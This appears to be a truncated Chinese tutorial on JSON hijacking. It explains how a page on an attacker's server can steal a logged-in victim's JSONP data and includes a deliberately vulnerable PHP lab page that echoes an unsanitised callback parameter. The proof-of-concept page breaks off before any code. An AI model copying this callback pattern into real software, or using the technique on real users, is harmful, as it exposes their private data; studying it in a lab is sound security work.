赞
踩
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
JSON是一种轻量级的数据交换格式,而劫持就是对数据进行窃取(或者应该称为打劫、拦截比较合适。恶意攻击者通过某些特定的手段,将本应该返回给用户的JSON数据进行拦截,转而将数据发送回给恶意攻击者,这就是JSON劫持的大概含义。一般来说进行劫持的JSON数据都是包含敏感信息或者有价值的数据。
攻击方法与csrf类似,都是需要用户登录帐号,在身份认证还没有被消除的情况下访问攻击者精心设计好的的页面。就会获取json数据
,把json数据发送给攻击者的远程WEB服务器上。
找到存在json漏洞类型的页面,攻击者的远程WEB服务器上写好攻击页面,诱导目标访问该页面,从而获取受害者的json数据。
json.php
<?php
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "qwsn","email":"qwsn@qq.com"});';
//这里做了简化,这里的print应该是在登录后,才会显示的一些json数据!!!
?>
如下图所示,http://www.webtester.com/json.php
页面就是我们靶机上的json漏洞页面
json-poc.html
<!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。